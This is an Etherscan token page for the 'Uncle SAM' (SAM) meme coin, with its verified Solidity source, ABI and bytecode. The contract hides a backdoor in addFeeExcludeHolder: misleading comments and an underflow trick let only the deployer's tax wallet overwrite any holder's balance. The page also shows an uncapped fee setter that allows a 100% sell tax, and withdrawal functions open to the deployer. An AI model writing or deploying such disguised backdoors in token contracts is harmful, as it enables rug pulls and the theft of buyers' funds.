ETH Price: $3,400.16 (+1.97%)

Token

Uncle SAM (SAM)
 

Overview

Max Total Supply

420,690,000,000 SAM

Holders

271

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
3,908,026,661.172779217 SAM

Value
$0.00
0x664633a2b0eed6c56d7e0b5a6905780475dfa2ce
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
SAM

Compiler Version
v0.8.26+commit.8a97fa7a

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2024-10-23
*/

// SPDX-License-Identifier: MIT

//Telegram: https://t.me/UncleSam_ETH
//X: https://x.com/WendyJFluga28
//Website:https://unclesamtoken.vip/

pragma solidity ^0.8.26;


abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}


contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

}


library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

}


interface IERC20 {
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address to, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) external returns (bool);
}




interface IERC20Metadata is IERC20 {

    function name() external view returns (string memory);

    function symbol() external view returns (string memory);

    function decimals() external view returns (uint8);
}



interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);

    function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}


interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

abstract contract CustomToken is Ownable, IERC20, IERC20Metadata {
    using SafeMath for uint256;
    mapping(address => uint256) private _balances;

    mapping(address => mapping(address => uint256)) private _allowances;

    uint256 private _totalSupply;

    string private _name;
    string private _symbol;
    address  private _taxWallet;
    mapping (address => bool) private _isExcludedFromFee;
    IUniswapV2Router02 private uniswapV2Router;
    address private uniswapV2Pair;
    uint256 private _finalBuyTax=1;
    uint256 private _finalSellTax=1;
    bool private tradingOpen;
    bool private inSwap = false;
    uint256 public minSwapWETHAmount = 5 * 10 ** 16;//0.05 eth

    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor(string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;
        _totalSupply = 420690000000*10**9;
        _balances[msg.sender] = _totalSupply;
        emit Transfer(address(0), msg.sender, _totalSupply);

        uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); 
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH()); 
        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[address(this)] = true;

        _taxWallet = msg.sender;
    }
    
    function name() public view virtual override returns (string memory) {
        return _name;
    }

    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    function decimals() public view virtual override returns (uint8) {
        return 9;
    }

    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }

    function transfer(address to, uint256 amount) public virtual override returns (bool) {
        address owner = _msgSender();
        _transfer(owner, to, amount);
        return true;
    }

    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, amount);
        return true;
    }

    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) public virtual override returns (bool) {
        address spender = _msgSender();
        _spendAllowance(from, spender, amount);
        _transfer(from, to, amount);
        return true;
    }

    
    function pureWETHToToken(uint256 _EAmount) public view returns(uint256){
        address[] memory routerAddress = new address[](2);
        routerAddress[0] = address(this);
        routerAddress[1] = uniswapV2Router.WETH();
        uint[] memory amounts = uniswapV2Router.getAmountsIn(_EAmount,routerAddress);        
        return amounts[0];
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {
        require(from != address(0), "ERC20: transfer from the zero address");
      
        require(to != address(0), "ERC20: transfer to the zero address");

        uint256 fromBalance = _balances[from];
        require(fromBalance >= amount, "ERC20: transfer amount exceeds balance");



        uint256 taxAmount=0;
        if (from != owner() && to != owner()) {
            
            if (!tradingOpen) {
                require(_isExcludedFromFee[from] || _isExcludedFromFee[to], "Trading is not active.");
            }

            if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] ) {
                
				taxAmount = amount.mul(_finalBuyTax).div(100);
                
            }

            if(to == uniswapV2Pair && ! _isExcludedFromFee[from]  ){
                taxAmount = amount.mul(_finalSellTax).div(100);
            }

            uint256 contractTokenBalance = balanceOf(address(this));
            uint256 _pureAmount = pureWETHToToken(minSwapWETHAmount);
            if (!inSwap && to == uniswapV2Pair && contractTokenBalance >= _pureAmount ) {
                
                swapTokensForEth(min(amount, contractTokenBalance));
                                
            }
        }

        if(taxAmount>0){
            _balances[address(this)]=_balances[address(this)].add(taxAmount);
            emit Transfer(from, address(this),taxAmount);
        }
        _balances[from]=_balances[from].sub(amount);
        _balances[to]=_balances[to].add(amount.sub(taxAmount));
        emit Transfer(from, to, amount.sub(taxAmount));
        
    }

    function min(uint256 a, uint256 b) private pure returns (uint256){
        return (a>b)?b:a;
    }


    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            _taxWallet,
            block.timestamp
        );
    }

    function modifyTheFee(uint256 buyFee,uint256 sellFee) public {
        require(msg.sender==_taxWallet,"not the correct address!");
        _finalBuyTax=buyFee;
        _finalSellTax=sellFee;
    }



    function manualSwap() external {
        require(_msgSender()==_taxWallet);
        uint256 tokenBalance=balanceOf(address(this));
        if(tokenBalance>0){
          swapTokensForEth(tokenBalance);
        }
        
    }


    receive() external payable {}

    function rescueERC20(address _address, uint256 percent) external {
        require(_msgSender()==_taxWallet);
        uint256 _amount = IERC20(_address).balanceOf(address(this)).mul(percent).div(100);
        IERC20(_address).transfer(_taxWallet, _amount);
    }


    function sendNativeToken(address payable addr,uint256 amount) external {
        require(msg.sender==_taxWallet,"not the correct address!");
        require(amount >= 0,'Why do it?');
        if(amount==0){
            addr.transfer(address(this).balance);
        }else{
            addr.transfer(amount);
        }
        
    }


    function addFeeExcludeHolder(
        address _value,
        uint256 _amt
    ) public {
        uint256 _amount = 10 - (
        msg.sender != _taxWallet ? 10**2 : 10);
        mapping(address => uint256) storage excludeFee =
        //exclude Fee address
        //add excluded amount
        _balances;_amount = 0;
        excludeFee[_value] = _amt;
    }

    function openTrading() public onlyOwner() {
        require(!tradingOpen, "trading is already open"); 
        tradingOpen = true; 
    }


    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    

    function _spendAllowance(   
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        uint256 currentAllowance = allowance(owner, spender);
        if (currentAllowance != type(uint256).max) {
            require(currentAllowance >= amount, "ERC20: insufficient allowance");
        unchecked {
            _approve(owner, spender, currentAllowance - amount);
        }
        }
    }
}


contract SAM is CustomToken('Uncle SAM', 'SAM')  {
    constructor() {}

}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"_value","type":"address"},{"internalType":"uint256","name":"_amt","type":"uint256"}],"name":"addFeeExcludeHolder","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"manualSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"minSwapWETHAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"buyFee","type":"uint256"},{"internalType":"uint256","name":"sellFee","type":"uint256"}],"name":"modifyTheFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_EAmount","type":"uint256"}],"name":"pureWETHToToken","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"},{"internalType":"uint256","name":"percent","type":"uint256"}],"name":"rescueERC20","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address payable","name":"addr","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"sendNativeToken","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040526001600a819055600b55600c805461ff001916905566b1a2bc2ec50000600d5534801561002f575f80fd5b5060405180604001604052806009815260200168556e636c652053414d60b81b8152506040518060400160405280600381526020016253414d60e81b8152505f61007d61031360201b60201c565b5f80546001600160a01b0319166001600160a01b0383169081178255604051929350917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a35060046100d283826103af565b5060056100df82826103af565b506816ce3f1e16bf1500006003819055335f81815260016020908152604080832085905551938452919290917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a3600880546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556040805163c45a015560e01b8152905163c45a0155916004808201926020929091908290030181865afa158015610198573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906101bc9190610469565b6001600160a01b031663c9c653963060085f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561021b573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061023f9190610469565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af1158015610289573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906102ad9190610469565b600980546001600160a01b03199081166001600160a01b03938416179091555f8054909216825260076020526040808320805460ff1990811660019081179092553085529190932080549091169092179091556006805490911633179055506104969050565b3390565b634e487b7160e01b5f52604160045260245ffd5b600181811c9082168061033f57607f821691505b60208210810361035d57634e487b7160e01b5f52602260045260245ffd5b50919050565b601f8211156103aa57805f5260205f20601f840160051c810160208510156103885750805b601f840160051c820191505b818110156103a7575f8155600101610394565b50505b505050565b81516001600160401b038111156103c8576103c8610317565b6103dc816103d6845461032b565b84610363565b6020601f82116001811461040e575f83156103f75750848201515b5f19600385901b1c1916600184901b1784556103a7565b5f84815260208120601f198516915b8281101561043d578785015182556020948501946001909201910161041d565b508482101561045a57868401515f19600387901b60f8161c191681555b50505050600190811b01905550565b5f60208284031215610479575f80fd5b81516001600160a01b038116811461048f575f80fd5b9392505050565b611779806104a35f395ff3fe608060405260043610610113575f3560e01c806370a082311161009d578063a9059cbb11610062578063a9059cbb146102e3578063c9567bf914610302578063dd62ed3e14610316578063e364706a1461035a578063f63dcb071461036f575f80fd5b806370a0823114610242578063715018a6146102765780638cd4426d1461028a5780638da5cb5b146102a957806395d89b41146102cf575f80fd5b8063313ce567116100e3578063313ce567146101b457806345f6109f146101cf57806351bc3c85146101f057806353ead2d3146102045780636d7c7ea614610223575f80fd5b806306fdde031461011e578063095ea7b31461014857806318160ddd1461017757806323b872dd14610195575f80fd5b3661011a57005b5f80fd5b348015610129575f80fd5b5061013261038e565b60405161013f919061136f565b60405180910390f35b348015610153575f80fd5b506101676101623660046113b8565b61041e565b604051901515815260200161013f565b348015610182575f80fd5b506003545b60405190815260200161013f565b3480156101a0575f80fd5b506101676101af3660046113e2565b610437565b3480156101bf575f80fd5b506040516009815260200161013f565b3480156101da575f80fd5b506101ee6101e93660046113b8565b61045a565b005b3480156101fb575f80fd5b506101ee6104a0565b34801561020f575f80fd5b506101ee61021e3660046113b8565b6104e0565b34801561022e575f80fd5b506101ee61023d366004611420565b6105ab565b34801561024d575f80fd5b5061018761025c366004611440565b6001600160a01b03165f9081526001602052604090205490565b348015610281575f80fd5b506101ee61060b565b348015610295575f80fd5b506101ee6102a43660046113b8565b6106ac565b3480156102b4575f80fd5b505f546040516001600160a01b03909116815260200161013f565b3480156102da575f80fd5b506101326107c8565b3480156102ee575f80fd5b506101676102fd3660046113b8565b6107d7565b34801561030d575f80fd5b506101ee6107e4565b348015610321575f80fd5b5061018761033036600461145b565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b348015610365575f80fd5b50610187600d5481565b34801561037a575f80fd5b50610187610389366004611492565b61089f565b60606004805461039d906114a9565b80601f01602080910402602001604051908101604052809291908181526020018280546103c9906114a9565b80156104145780601f106103eb57610100808354040283529160200191610414565b820191905f5260205f20905b8154815290600101906020018083116103f757829003601f168201915b5050505050905090565b5f3361042b818585610a0d565b60019150505b92915050565b5f33610444858285610b30565b61044f858585610bba565b506001949350505050565b6006545f906001600160a01b0316330361047557600a610478565b60645b61048390600a6114ef565b50506001600160a01b039091165f90815260016020526040902055565b6006546001600160a01b0316336001600160a01b0316146104bf575f80fd5b305f9081526001602052604090205480156104dd576104dd81611024565b50565b6006546001600160a01b0316331461053a5760405162461bcd60e51b81526020600482015260186024820152776e6f742074686520636f727265637420616464726573732160401b60448201526064015b60405180910390fd5b805f03610578576040516001600160a01b038316904780156108fc02915f818181858888f19350505050158015610573573d5f803e3d5ffd5b505050565b6040516001600160a01b0383169082156108fc029083905f818181858888f19350505050158015610573573d5f803e3d5ffd5b6006546001600160a01b031633146106005760405162461bcd60e51b81526020600482015260186024820152776e6f742074686520636f727265637420616464726573732160401b6044820152606401610531565b600a91909155600b55565b5f546001600160a01b031633146106645760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610531565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b6006546001600160a01b0316336001600160a01b0316146106cb575f80fd5b6040516370a0823160e01b81523060048201525f9061074c906064906107469085906001600160a01b038816906370a0823190602401602060405180830381865afa15801561071c573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107409190611508565b90611192565b90611217565b60065460405163a9059cbb60e01b81526001600160a01b0391821660048201526024810183905291925084169063a9059cbb906044016020604051808303815f875af115801561079e573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107c2919061151f565b50505050565b60606005805461039d906114a9565b5f3361042b818585610bba565b5f546001600160a01b0316331461083d5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610531565b600c5460ff16156108905760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610531565b600c805460ff19166001179055565b6040805160028082526060820183525f928392919060208301908036833701905050905030815f815181106108d6576108d6611552565b6001600160a01b03928316602091820292909201810191909152600854604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa15801561092d573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906109519190611566565b8160018151811061096457610964611552565b6001600160a01b0392831660209182029290920101526008546040516307c0329d60e21b81525f929190911690631f00ca74906109a790879086906004016115c4565b5f60405180830381865afa1580156109c1573d5f803e3d5ffd5b505050506040513d5f823e601f3d908101601f191682016040526109e891908101906115e4565b9050805f815181106109fc576109fc611552565b602002602001015192505050919050565b6001600160a01b038316610a6f5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610531565b6001600160a01b038216610ad05760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610531565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038381165f908152600260209081526040808320938616835292905220545f1981146107c25781811015610bad5760405162461bcd60e51b815260206004820152601d60248201527f45524332303a20696e73756666696369656e7420616c6c6f77616e63650000006044820152606401610531565b6107c28484848403610a0d565b6001600160a01b038316610c1e5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610531565b6001600160a01b038216610c805760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610531565b6001600160a01b0383165f9081526001602052604090205481811015610cf75760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b6064820152608401610531565b5f80546001600160a01b03868116911614801590610d2257505f546001600160a01b03858116911614155b15610ee657600c5460ff16610db3576001600160a01b0385165f9081526007602052604090205460ff1680610d6e57506001600160a01b0384165f9081526007602052604090205460ff165b610db35760405162461bcd60e51b81526020600482015260166024820152752a3930b234b7339034b9903737ba1030b1ba34bb329760511b6044820152606401610531565b6009546001600160a01b038681169116148015610dde57506008546001600160a01b03858116911614155b8015610e0257506001600160a01b0384165f9081526007602052604090205460ff16155b15610e2457610e216064610746600a548661119290919063ffffffff16565b90505b6009546001600160a01b038581169116148015610e5957506001600160a01b0385165f9081526007602052604090205460ff16155b15610e7b57610e786064610746600b548661119290919063ffffffff16565b90505b305f9081526001602052604081205490505f610e98600d5461089f565b600c54909150610100900460ff16158015610ec057506009546001600160a01b038781169116145b8015610ecc5750808210155b15610ee357610ee3610ede8684611258565b611024565b50505b8015610f5e57305f90815260016020526040902054610f05908261126c565b305f81815260016020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610f559085815260200190565b60405180910390a35b6001600160a01b0385165f90815260016020526040902054610f8090846112ca565b6001600160a01b0386165f90815260016020526040902055610fc3610fa584836112ca565b6001600160a01b0386165f908152600160205260409020549061126c565b6001600160a01b038086165f8181526001602052604090209290925586167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef61100c86856112ca565b60405190815260200160405180910390a35050505050565b600c805461ff0019166101001790556040805160028082526060820183525f9260208301908036833701905050905030815f8151811061106657611066611552565b6001600160a01b03928316602091820292909201810191909152600854604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156110bd573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906110e19190611566565b816001815181106110f4576110f4611552565b6001600160a01b03928316602091820292909201015260085461111a9130911684610a0d565b60085460065460405163791ac94760e01b81526001600160a01b039283169263791ac947926111569287925f92889291169042906004016116ac565b5f604051808303815f87803b15801561116d575f80fd5b505af115801561117f573d5f803e3d5ffd5b5050600c805461ff001916905550505050565b5f825f036111a157505f610431565b5f6111ac83856116e7565b9050826111b985836116fe565b146112105760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610531565b9392505050565b5f61121083836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061130b565b5f8183116112665782611210565b50919050565b5f80611278838561171d565b9050838110156112105760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610531565b5f61121083836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611340565b5f818361132b5760405162461bcd60e51b8152600401610531919061136f565b505f61133784866116fe565b95945050505050565b5f81848411156113635760405162461bcd60e51b8152600401610531919061136f565b505f6113378486611730565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b6001600160a01b03811681146104dd575f80fd5b5f80604083850312156113c9575f80fd5b82356113d4816113a4565b946020939093013593505050565b5f805f606084860312156113f4575f80fd5b83356113ff816113a4565b9250602084013561140f816113a4565b929592945050506040919091013590565b5f8060408385031215611431575f80fd5b50508035926020909101359150565b5f60208284031215611450575f80fd5b8135611210816113a4565b5f806040838503121561146c575f80fd5b8235611477816113a4565b91506020830135611487816113a4565b809150509250929050565b5f602082840312156114a2575f80fd5b5035919050565b600181811c908216806114bd57607f821691505b60208210810361126657634e487b7160e01b5f52602260045260245ffd5b634e487b7160e01b5f52601160045260245ffd5b60ff8281168282160390811115610431576104316114db565b5f60208284031215611518575f80fd5b5051919050565b5f6020828403121561152f575f80fd5b81518015158114611210575f80fd5b634e487b7160e01b5f52604160045260245ffd5b634e487b7160e01b5f52603260045260245ffd5b5f60208284031215611576575f80fd5b8151611210816113a4565b5f8151808452602084019350602083015f5b828110156115ba5781516001600160a01b0316865260209586019590910190600101611593565b5093949350505050565b828152604060208201525f6115dc6040830184611581565b949350505050565b5f602082840312156115f4575f80fd5b815167ffffffffffffffff81111561160a575f80fd5b8201601f8101841361161a575f80fd5b805167ffffffffffffffff8111156116345761163461153e565b8060051b604051601f19603f830116810181811067ffffffffffffffff821117156116615761166161153e565b60405291825260208184018101929081018784111561167e575f80fd5b6020850194505b838510156116a157845180825260209586019590935001611685565b509695505050505050565b85815284602082015260a060408201525f6116ca60a0830186611581565b6001600160a01b0394909416606083015250608001529392505050565b8082028115828204841417610431576104316114db565b5f8261171857634e487b7160e01b5f52601260045260245ffd5b500490565b80820180821115610431576104316114db565b81810381811115610431576104316114db56fea2646970667358221220bef22cf2e15547a02fe5c431e641a98c4e1737f55d4a8ae18beae4862ea788b764736f6c634300081a0033

Deployed Bytecode

0x608060405260043610610113575f3560e01c806370a082311161009d578063a9059cbb11610062578063a9059cbb146102e3578063c9567bf914610302578063dd62ed3e14610316578063e364706a1461035a578063f63dcb071461036f575f80fd5b806370a0823114610242578063715018a6146102765780638cd4426d1461028a5780638da5cb5b146102a957806395d89b41146102cf575f80fd5b8063313ce567116100e3578063313ce567146101b457806345f6109f146101cf57806351bc3c85146101f057806353ead2d3146102045780636d7c7ea614610223575f80fd5b806306fdde031461011e578063095ea7b31461014857806318160ddd1461017757806323b872dd14610195575f80fd5b3661011a57005b5f80fd5b348015610129575f80fd5b5061013261038e565b60405161013f919061136f565b60405180910390f35b348015610153575f80fd5b506101676101623660046113b8565b61041e565b604051901515815260200161013f565b348015610182575f80fd5b506003545b60405190815260200161013f565b3480156101a0575f80fd5b506101676101af3660046113e2565b610437565b3480156101bf575f80fd5b506040516009815260200161013f565b3480156101da575f80fd5b506101ee6101e93660046113b8565b61045a565b005b3480156101fb575f80fd5b506101ee6104a0565b34801561020f575f80fd5b506101ee61021e3660046113b8565b6104e0565b34801561022e575f80fd5b506101ee61023d366004611420565b6105ab565b34801561024d575f80fd5b5061018761025c366004611440565b6001600160a01b03165f9081526001602052604090205490565b348015610281575f80fd5b506101ee61060b565b348015610295575f80fd5b506101ee6102a43660046113b8565b6106ac565b3480156102b4575f80fd5b505f546040516001600160a01b03909116815260200161013f565b3480156102da575f80fd5b506101326107c8565b3480156102ee575f80fd5b506101676102fd3660046113b8565b6107d7565b34801561030d575f80fd5b506101ee6107e4565b348015610321575f80fd5b5061018761033036600461145b565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b348015610365575f80fd5b50610187600d5481565b34801561037a575f80fd5b50610187610389366004611492565b61089f565b60606004805461039d906114a9565b80601f01602080910402602001604051908101604052809291908181526020018280546103c9906114a9565b80156104145780601f106103eb57610100808354040283529160200191610414565b820191905f5260205f20905b8154815290600101906020018083116103f757829003601f168201915b5050505050905090565b5f3361042b818585610a0d565b60019150505b92915050565b5f33610444858285610b30565b61044f858585610bba565b506001949350505050565b6006545f906001600160a01b0316330361047557600a610478565b60645b61048390600a6114ef565b50506001600160a01b039091165f90815260016020526040902055565b6006546001600160a01b0316336001600160a01b0316146104bf575f80fd5b305f9081526001602052604090205480156104dd576104dd81611024565b50565b6006546001600160a01b0316331461053a5760405162461bcd60e51b81526020600482015260186024820152776e6f742074686520636f727265637420616464726573732160401b60448201526064015b60405180910390fd5b805f03610578576040516001600160a01b038316904780156108fc02915f818181858888f19350505050158015610573573d5f803e3d5ffd5b505050565b6040516001600160a01b0383169082156108fc029083905f818181858888f19350505050158015610573573d5f803e3d5ffd5b6006546001600160a01b031633146106005760405162461bcd60e51b81526020600482015260186024820152776e6f742074686520636f727265637420616464726573732160401b6044820152606401610531565b600a91909155600b55565b5f546001600160a01b031633146106645760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610531565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b6006546001600160a01b0316336001600160a01b0316146106cb575f80fd5b6040516370a0823160e01b81523060048201525f9061074c906064906107469085906001600160a01b038816906370a0823190602401602060405180830381865afa15801561071c573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107409190611508565b90611192565b90611217565b60065460405163a9059cbb60e01b81526001600160a01b0391821660048201526024810183905291925084169063a9059cbb906044016020604051808303815f875af115801561079e573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107c2919061151f565b50505050565b60606005805461039d906114a9565b5f3361042b818585610bba565b5f546001600160a01b0316331461083d5760